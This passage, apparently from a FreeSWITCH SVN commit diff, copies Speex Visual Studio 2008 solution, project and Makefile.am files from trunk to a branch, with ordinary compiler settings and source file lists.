+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic|Win32.ActiveCfg = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_RTL_dll|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_SSE|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_SSE2|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Static_SSE|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Win32.ActiveCfg = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeexdsp)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp


Name: svn:ignore
   + Debug
*.user
Release
x64
Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeexdsp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = libspeexdsp.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/libspeexdsp.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/libspeexdsp.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeexdsp/libspeexdsp.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/libspeexdsp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/libspeexdsp/libspeexdsp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,772 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspeexdsp"
+	ProjectGUID="{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/$(PlatformName)\$(ConfigurationName)\libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/$(PlatformName)\$(ConfigurationName)\libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="../../../bin/libspeexdsp.dll"
+				ModuleDefinitionFile="..\..\libspeexdsp.def"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="../../../lib/libspeexdsp.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic_SSE|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="../../../bin/libspeexdsp.dll"
+				ModuleDefinitionFile="..\..\libspeexdsp.def"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="../../../lib/libspeexdsp.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Static_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Static_SSE|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\buffer.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\jitter.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\mdf.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\preprocess.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\resample.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\_kiss_fft_guts.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\arch.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_debug.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_generic.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\math_approx.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\os_support.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\pseudofloat.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<Filter
+			Name="Public Header Files"
+			>
+			<File
+				RelativePath="..\..\..\include\speex\speex.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_bits.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_buffer.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_echo.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_jitter.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_preprocess.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_resampler.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_types.h"
+				>
+			</File>
+		</Filter>
+		<File
+			RelativePath="..\..\config.h"
+			>
+		</File>
+		<File
+			RelativePath="..\..\libspeexdsp.def"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexdec)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexdec/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = speexdec.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/speexdec.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/speexdec.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexdec/speexdec.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/speexdec.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/speexdec/speexdec.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="speexdec"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
+	RootNamespace="speexdec"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexdec.exe"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
